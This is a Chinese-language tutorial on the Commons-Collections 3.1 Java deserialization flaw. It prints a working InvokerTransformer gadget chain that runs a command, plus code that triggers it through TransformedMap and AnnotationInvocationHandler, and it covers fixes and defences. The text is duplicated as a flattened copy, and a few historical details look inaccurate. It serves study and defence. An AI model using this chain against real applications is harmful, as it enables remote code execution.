JAVA反序列化学习-Commons-Collections
字数 1604 2025-08-09 22:00:37

Java反序列化漏洞学习:Commons-Collections 3.1

1. Commons-Collections简介

Apache Commons Collections是一个为Java提供扩展数据结构的库,在JDK 1.2中引入,提供了许多强大的数据结构实现。版本3.1中存在一系列反序列化漏洞,这些漏洞可以被利用来执行任意代码。

2. 反序列化漏洞原理

Java反序列化漏洞的核心在于:当Java应用反序列化不可信的数据时,攻击者可以构造特殊的序列化对象,在反序列化过程中执行恶意代码。

Commons-Collections 3.1中的漏洞主要涉及以下几个关键类:

2.1 Transformer接口

org.apache.commons.collections.Transformer接口定义了一个对象转换的方法:

public interface Transformer {
    Object transform(Object input);
}

2.2 关键实现类

  • ConstantTransformer:总是返回固定对象
  • InvokerTransformer:通过反射调用方法
  • ChainedTransformer:将多个Transformer串联执行
  • TransformedMap:在Map的键或值发生变化时执行Transformer

2.3 漏洞利用链

攻击者可以构造一个特殊的Transformer链,在反序列化时执行任意代码:

  1. 使用InvokerTransformer调用Runtime.getRuntime()
  2. 再使用另一个InvokerTransformer调用exec()方法执行命令

3. 漏洞利用详细分析

3.1 构造恶意Transformer链

Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", 
        new Class[] {String.class, Class[].class}, 
        new Object[] {"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", 
        new Class[] {Object.class, Object[].class}, 
        new Object[] {null, new Object[0]}),
    new InvokerTransformer("exec", 
        new Class[] {String.class}, 
        new Object[] {"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);

3.2 触发反序列化执行

有多种方式可以触发这个Transformer链的执行:

方式1:通过TransformedMap

Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

当outerMap被修改时,会触发Transformer执行。

方式2:通过AnnotationInvocationHandler

在JDK 7u21及以下版本中,可以利用sun.reflect.annotation.AnnotationInvocationHandler来触发:

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class, Map.class);
cons.setAccessible(true);
Object instance = cons.newInstance(Target.class, outerMap);

序列化这个instance对象,当它被反序列化时就会执行恶意代码。

4. 漏洞修复方案

4.1 官方修复

Apache Commons Collections在后续版本中修复了此漏洞:

  1. 在3.2.2版本中,InvokerTransformerConstantTransformer等类实现了Serializable接口,但增加了安全检查
  2. 在4.0版本中,这些类不再实现Serializable接口

4.2 临时解决方案

  1. 升级Commons-Collections到安全版本
  2. 使用JVM级别的防护:
    • 使用ObjectInputFilter限制反序列化的类
    • 使用安全管理器限制危险操作

5. 漏洞利用限制

  1. 依赖Commons-Collections库在classpath中
  2. 目标应用需要反序列化不可信的数据
  3. JDK版本影响利用方式(如AnnotationInvocationHandler在JDK 8中的变化)

6. 防御建议

  1. 避免反序列化不可信数据
  2. 使用白名单机制验证反序列化的类
  3. 及时更新依赖库到安全版本
  4. 使用安全的替代方案如JSON、XML等数据格式

7. 相关CVE

  • CVE-2015-4852:Commons-Collections反序列化漏洞
  • CVE-2016-2510:类似的反序列化问题
  • CVE-2016-8735:JmxInvokerHandler反序列化漏洞

8. 学习资源

  1. Commons-Collections官方文档
  2. Java反序列化漏洞详解
  3. ysoserial工具 - 生成利用payload的工具

通过深入理解这些原理,可以更好地防御Java反序列化漏洞,保护应用安全。

Java反序列化漏洞学习:Commons-Collections 3.1 1. Commons-Collections简介 Apache Commons Collections是一个为Java提供扩展数据结构的库,在JDK 1.2中引入,提供了许多强大的数据结构实现。版本3.1中存在一系列反序列化漏洞,这些漏洞可以被利用来执行任意代码。 2. 反序列化漏洞原理 Java反序列化漏洞的核心在于:当Java应用反序列化不可信的数据时,攻击者可以构造特殊的序列化对象,在反序列化过程中执行恶意代码。 Commons-Collections 3.1中的漏洞主要涉及以下几个关键类: 2.1 Transformer接口 org.apache.commons.collections.Transformer 接口定义了一个对象转换的方法: 2.2 关键实现类 ConstantTransformer :总是返回固定对象 InvokerTransformer :通过反射调用方法 ChainedTransformer :将多个Transformer串联执行 TransformedMap :在Map的键或值发生变化时执行Transformer 2.3 漏洞利用链 攻击者可以构造一个特殊的Transformer链,在反序列化时执行任意代码: 使用 InvokerTransformer 调用 Runtime.getRuntime() 再使用另一个 InvokerTransformer 调用 exec() 方法执行命令 3. 漏洞利用详细分析 3.1 构造恶意Transformer链 3.2 触发反序列化执行 有多种方式可以触发这个Transformer链的执行: 方式1:通过TransformedMap 当outerMap被修改时,会触发Transformer执行。 方式2:通过AnnotationInvocationHandler 在JDK 7u21及以下版本中,可以利用 sun.reflect.annotation.AnnotationInvocationHandler 来触发: 序列化这个instance对象,当它被反序列化时就会执行恶意代码。 4. 漏洞修复方案 4.1 官方修复 Apache Commons Collections在后续版本中修复了此漏洞: 在3.2.2版本中, InvokerTransformer 、 ConstantTransformer 等类实现了 Serializable 接口,但增加了安全检查 在4.0版本中,这些类不再实现 Serializable 接口 4.2 临时解决方案 升级Commons-Collections到安全版本 使用JVM级别的防护: 使用 ObjectInputFilter 限制反序列化的类 使用安全管理器限制危险操作 5. 漏洞利用限制 依赖Commons-Collections库在classpath中 目标应用需要反序列化不可信的数据 JDK版本影响利用方式(如AnnotationInvocationHandler在JDK 8中的变化) 6. 防御建议 避免反序列化不可信数据 使用白名单机制验证反序列化的类 及时更新依赖库到安全版本 使用安全的替代方案如JSON、XML等数据格式 7. 相关CVE CVE-2015-4852:Commons-Collections反序列化漏洞 CVE-2016-2510:类似的反序列化问题 CVE-2016-8735:JmxInvokerHandler反序列化漏洞 8. 学习资源 Commons-Collections官方文档 Java反序列化漏洞详解 ysoserial工具 - 生成利用payload的工具 通过深入理解这些原理,可以更好地防御Java反序列化漏洞,保护应用安全。